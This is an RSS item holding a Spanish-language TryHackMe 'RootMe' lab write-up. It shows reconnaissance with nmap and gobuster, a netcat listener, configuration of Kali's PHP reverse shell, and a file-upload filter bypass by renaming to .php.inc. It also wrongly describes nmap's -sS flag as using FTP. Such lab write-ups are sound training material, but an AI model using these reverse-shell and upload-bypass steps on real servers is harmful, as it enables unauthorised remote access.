<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Incuerd0</title>
    <description>The latest articles on DEV Community by Incuerd0 (@incuerd0).</description>
    <link>https://dev.to/incuerd0</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F636735%2F0ec3300e-f6fd-403d-b64e-a64a30638a84.png</url>
      <title>DEV Community: Incuerd0</title>
      <link>https://dev.to/incuerd0</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/incuerd0"/>
    <language>en</language>
    <item>
      <title>TryHackMe WriteUp: RootMe</title>
      <dc:creator>Incuerd0</dc:creator>
      <pubDate>Mon, 03 Apr 2023 01:26:22 +0000</pubDate>
      <link>https://dev.to/incuerd0/tryhackme-writeup-rootme-4eij</link>
      <guid>https://dev.to/incuerd0/tryhackme-writeup-rootme-4eij</guid>
      <description>&lt;h2&gt;
  
  
  Introduccion
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://tryhackme.com/"&gt;TryHackMe&lt;/a&gt; (THM) es una de mis comunidades favoritas, he visto como durante años el empeño que se ponen en mejorar es relevante y es de las que más recomiendo cuando me preguntan por dónde empezar a practicar.&lt;/p&gt;

&lt;p&gt;Pese a llevar un rato inactivo, hoy me he dispuesto a pasar el día recorriendo un poco la comunidad y dedicarle algunas horas a alguna máquina, primero, para recordar algunos conceptos elementales y segundo, para volver a las glorias pasadas.&lt;/p&gt;

&lt;p&gt;En este caso he decidido trabajar sobre &lt;a href="https://tryhackme.com/room/rrootme"&gt;RootMe&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sugerencia:&lt;/strong&gt; te invito a intentar primero por tu cuenta y tomes esto como una guía si en algún paso te llegas a quedar, de igual manera cualquier feedback será bien recibido. :)&lt;/p&gt;

&lt;h2&gt;
  
  
  Detalles de la máquina
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WQSz90-N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m4bpu3qnx0oei8u7quib.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WQSz90-N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m4bpu3qnx0oei8u7quib.png" alt="Target machine" width="578" height="134"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Esta máquina tratará sobre los temas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Servidores web Apache&lt;/li&gt;
&lt;li&gt;Sistemas Linux&lt;/li&gt;
&lt;li&gt;PHP como navaja de corte para la vulneración de una máquina&lt;/li&gt;
&lt;li&gt;Escalada de privilegios haciendo uso de malas configuraciones&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Reconocimiento
&lt;/h2&gt;

&lt;p&gt;Después de conectarme a la VPN de THM, y finalizar la religiosa actualización de mi sistema ofensivo (Kali Purple), lo primero que hice fue realizar un scaneo con &lt;a href="https://nmap.org/"&gt;nmap&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_services_scan &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;--script&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;vuln 10.10.7.32
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explicación del comando:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-sS&lt;/code&gt;: le pide al motor de nmap que use el protocolo FTP para encontrar los servicios&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-sV&lt;/code&gt;: le pide al motor de nmap que muestre la versión del servicio que encuentre&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-T4&lt;/code&gt;: establece un tiempo de respuesta agresivo que acelera el proceso de análisis. &lt;a href="https://nmap.org/book/performance-timing-templates.html"&gt;Referencia&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-O&lt;/code&gt;: le pide al motor de nmap que busque información referente al sistema operativo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-oN&lt;/code&gt;: genera un archivo con la salida final de nmap, de nombre &lt;strong&gt;nmap_services_scan&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-v&lt;/code&gt;: pide al motor de nmap que la salida sea 'verbosa', es decir, que vaya mostrando información del proceso&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--script=vuln&lt;/code&gt;: pide al motor de nmap que utilice el script de vulnerabilidades durante este escaneo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;10.10.7.32&lt;/code&gt;: la IP de la máquina objetivo (durante la práctica cambió un par de veces la IP, basta con utilizar la IP indicada por THM)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Teniendo la siguiente salida:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Nmap 7.93 scan initiated Sun Apr  2 18:43:02 2023 as: nmap -sS -sV -T4 -O -oN nmap_services_scan -v --script=vuln 10.10.7.32
Increasing send delay for 10.10.7.32 from 0 to 5 due to 11 out of 22 dropped probes since last increase.
Nmap scan report for 10.10.7.32
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE    SERVICE VERSION
22/tcp  open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.6p1: 
|       EXPLOITPACK:98FE96309F9524B8C84C508837551A19    5.8 https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19    *EXPLOIT*
|       ...
|_      1337DAY-ID-30937    0.0 https://vulners.com/zdt/1337DAY-ID-30937    *EXPLOIT*
80/tcp  open     http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.4.29: 
|       CVE-2019-9517   7.8 https://vulners.com/cve/CVE-2019-9517
|       ...
|_      CVE-2006-20001  0.0 https://vulners.com/cve/CVE-2006-20001
|_http-csrf: Couldn't find any CSRF vulnerabilities.
443/tcp filtered https
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/2%OT=22%CT=1%CU=34535%PV=Y%DS=2%DC=I%G=Y%TM=6429CD1B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M508ST11NW6%O2=M508ST11NW6%O3
OS:=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN(W1=F4B3%W2=F
OS:4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW
OS:6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 32.708 days (since Wed Mar  1 01:45:04 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr  2 18:44:43 2023 -- 1 IP address (1 host up) scanned in 101.71 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Es posible ver entonces que nuestra máquina objetivo tiene dos puertos corriendo servicios:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Puerto&lt;/th&gt;
&lt;th&gt;Servicio&lt;/th&gt;
&lt;th&gt;Versión&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;ssh&lt;/td&gt;
&lt;td&gt;OpenSSH 7.6p1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.29&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Casi de facto, cada que veo un servicio HTTP corriendo por un puerto 80, pienso enseguida que hay gran probabilidad de que exista una página web corriendo en ese servidor, así que haciendo uso del explorador entro a la IP de la máquina objetivo en cuestión.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Qkc3xC9l--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jjaepqtmk7eq5eivkquh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Qkc3xC9l--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jjaepqtmk7eq5eivkquh.png" alt="RootMe main page" width="800" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Desde aquí, y sabiendo ya que existe una página web, utilizo la herramienta &lt;a href="https://github.com/OJ/gobuster"&gt;GoBuster&lt;/a&gt; para hacer búsqueda de directorios con fuerza bruta:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 10.10.7.32 &lt;span class="nt"&gt;-o&lt;/span&gt; gobuster_scan &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explicación del comando:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;gobuster&lt;/code&gt;: invoca la herramienta&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dir&lt;/code&gt;: establece el modo directorio de la herramienta, esto es util cuando pretendemos analizar los posibles directorios y archivos que existan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-u&lt;/code&gt;: bandera para establecer el objetivo, en este caso la IP 10.10.7.32&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-o&lt;/code&gt;: genera un archivo con la salida del escaneo, en este caso de nombre &lt;strong&gt;gobuster_scan&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-w&lt;/code&gt;: establece el fichero de palabras a buscar, en este caso &lt;em&gt;/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La salida resultante es por lo menos interesante:&lt;br&gt;
Si observamos detenidamente el primer escaneo con el script de vulnerabilidades de nmap, tenemos que encontró tres directorios:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http-enum: 
|   /css/: Potentially interesting directory w/ listing on &lt;span class="s1"&gt;'apache/2.4.29 (ubuntu)'&lt;/span&gt;
|   /js/: Potentially interesting directory w/ listing on &lt;span class="s1"&gt;'apache/2.4.29 (ubuntu)'&lt;/span&gt;
|_  /uploads/: Potentially interesting directory w/ listing on &lt;span class="s1"&gt;'apache/2.4.29 (ubuntu)'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mientras que del lado del escaneo de gobuster, encontramos 4 en el archivo de salida:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/uploads              (Status: 301) [Size: 310] [--&amp;gt; http://10.10.7.32/uploads/]
/css                  (Status: 301) [Size: 306] [--&amp;gt; http://10.10.7.32/css/]
/js                   (Status: 301) [Size: 305] [--&amp;gt; http://10.10.7.32/js/]
/panel                (Status: 301) [Size: 308] [--&amp;gt; http://10.10.7.32/panel/]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/panel&lt;/code&gt; es entonces un directorio oculto.&lt;/p&gt;

&lt;p&gt;Si accedemos a la url &lt;code&gt;[IP objetivo]/panel&lt;/code&gt; tenemos la siguiente vista:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9CevqcHF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9mgudes4whkfy5cc5esx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9CevqcHF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9mgudes4whkfy5cc5esx.png" alt="Upload view" width="597" height="529"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Es posible subir un archivo a la máquina objetivo, hasta aquí considero podemos dar por terminada la fase de reconocimiento.&lt;/p&gt;

&lt;h2&gt;
  
  
  Explotación
&lt;/h2&gt;

&lt;p&gt;Desde este punto es pertinente comenzar a interactuar con la página, lo primero que hice fue crear un archivo &lt;code&gt;archivo.txt&lt;/code&gt; con un texto simple &lt;code&gt;cualquier texto&lt;/code&gt; con el comando &lt;code&gt;echo&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"cualquier texto"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; archivo.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y subirlo al servidor:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WCEJazis--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3d76qxinyle49dhird68.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WCEJazis--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3d76qxinyle49dhird68.png" alt="1" width="418" height="179"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ToWHFdT_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ibolt08zmmsy85bcewks.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ToWHFdT_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ibolt08zmmsy85bcewks.png" alt="2" width="442" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ahora bien, ¿A qué parte del servidor se ha subido?, dentro de la información obtenida durante los escaneos, dimos con un directorio &lt;code&gt;uploads&lt;/code&gt;, al mirar dentro del mismo tenemos lo siguiente:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vADDAd2O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1ois6wy1p0im29jo2czz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vADDAd2O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1ois6wy1p0im29jo2czz.png" alt="Uploads" width="538" height="248"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Desde este punto es posible prepara un ataque con una shell reversa (a veces llamado tambien &lt;code&gt;shell inversa&lt;/code&gt;) en php, pero antes un poco de contexto:&lt;br&gt;
&lt;strong&gt;¿Qué es una shell?&lt;/strong&gt; Sin entrar en muchos tecnicismos, una shell es una sesión que permite ejecutar comandos de manera remota en un servidor. Sabiendo esto, una &lt;strong&gt;shell inversa&lt;/strong&gt; se refiere a un proceso en el que la máquina 'víctima' hará la conexión con el atacante para recibir comandos, esto es útil para evadir firewalls y filtros de seguridad desde el lado de la máquina víctima.&lt;/p&gt;

&lt;p&gt;En el sistema Kali tenemos diversas shells, es posible verlas con el comando &lt;code&gt;webshells&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;incuerdo㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Documentos/TryHackMe/RootMe]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;webshells

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; webshells ~ Collection of webshells

/usr/share/webshells
├── asp
├── aspx
├── cfm
├── jsp
├── perl
├── php
└── seclists -&amp;gt; /usr/share/seclists/Web-Shells
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Al listar las shells php con la utilidad &lt;code&gt;tree&lt;/code&gt; tenemos lo siguiente:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;incuerdo㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/usr/share/webshells/php]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;tree
&lt;span class="nb"&gt;.&lt;/span&gt;
├── findsocket
│   ├── findsock.c
│   └── php-findsock-shell.php
├── php-backdoor.php
├── php-reverse-shell.php
├── qsd-php-backdoor.php
└── simple-backdoor.php

2 directories, 6 files
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;De aquí es relevante ponerle atención a la shell &lt;code&gt;php-reverse-shell.php&lt;/code&gt;. Para llevar a cabo la ejecución de esta shell reversa se necesitan dos componentes, el primero es configurar un servicio que 'escuche' al servicio remoto que se intentará comunicar con nosotros, el segundo es la ejecución de la shell en la máquina víctima.&lt;/p&gt;

&lt;h3&gt;
  
  
  Preparando el servicio de escucha
&lt;/h3&gt;

&lt;p&gt;Para esto usaremos la utilidad &lt;code&gt;nc&lt;/code&gt; para configurar el puerto 4444 de nuestra máquina atacante, esto con el comando&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explicación:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;nc&lt;/code&gt;: invoca la utilidad de netcat&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-l&lt;/code&gt;: establece &lt;code&gt;nc&lt;/code&gt; como escucha (listen)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-p&lt;/code&gt;: establece el puerto de escucha, en este caso &lt;strong&gt;4444&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Es posible unir ambas banderas en una sola, por lo que &lt;code&gt;-lp&lt;/code&gt; es equivalente a &lt;code&gt;-l -p&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--USr3nWc1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/okzchpbosr6avgu22g67.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--USr3nWc1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/okzchpbosr6avgu22g67.png" alt="3" width="604" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Preparando la shell reversa
&lt;/h3&gt;

&lt;p&gt;En este caso hice una copia de la shell php mostrada por el comando &lt;code&gt;webshells&lt;/code&gt; con el comando&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cp&lt;/span&gt; /usr/share/webshells/php/php-reverse-shell.php ./
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explicación:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cp&lt;/code&gt;: copia el primer argumento (usualmente un archivo) en el segundo argumento (usualmente un directorio)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usr/share/webshells/php/php-reverse-shell.php&lt;/code&gt;: archivo a copiar&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;./&lt;/code&gt;: directorio donde se está ejecutando el comando&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Teniendo la copia de la shell reversa PHP vamos a editarla, en mi caso lo haré con neovim, con el comando &lt;code&gt;nvim ./php-reverse-shell.php&lt;/code&gt;. La parte que nos interesa del archivo es la siguiente:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;set_time_limit&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$VERSION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"1.0"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'127.0.0.1'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// CHANGE THIS&lt;/span&gt;
&lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1234&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="c1"&gt;// CHANGE THIS&lt;/span&gt;
&lt;span class="nv"&gt;$chunk_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1400&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$write_a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$error_a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$shell&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'uname -a; w; id; /bin/sh -i'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$daemon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$debug&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hay que configurar &lt;code&gt;ip&lt;/code&gt; y &lt;code&gt;port&lt;/code&gt;, en este caso la IP de nuestra máquina atacante y el puerto escucha, que, si se configuró como antes se dijo, será el &lt;code&gt;4444&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Guardados estos cambios podemos proceder a subir nuestra shell al servidor:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BMxNkJYX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j5zt8o12rhhbwzjhkt38.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BMxNkJYX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j5zt8o12rhhbwzjhkt38.png" alt="4" width="456" height="209"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Qj6dAdIw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/izy4zktytmgktysr75ix.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Qj6dAdIw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/izy4zktytmgktysr75ix.png" alt="5" width="458" height="402"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tenemos que archivos &lt;code&gt;.php&lt;/code&gt; no son permitidos al momento de intentar subirlos al servidor y parecería que no es una alternativa fiable, sin embargo existe el &lt;a href="https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass"&gt;file upload bypass&lt;/a&gt;, que consiste básicamente en que del lado del servidor existe una 'sanitización' de los archivos, sin embargo las validaciones atienden a extensiones específicas y es posible 'burlar' estos mecanismos, basta con renombrar el archivo.&lt;/p&gt;

&lt;p&gt;Probando con varias alternativas, al renombrar el archivo &lt;code&gt;php-reverse-shell.php&lt;/code&gt; a &lt;code&gt;php-reverse-shell.php.inc&lt;/code&gt;, es posible subirlo al servidor.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Q84d_p0Y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j8r4d7kykgarj8av2vp6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Q84d_p0Y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j8r4d7kykgarj8av2vp6.png" alt="6" width="431" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

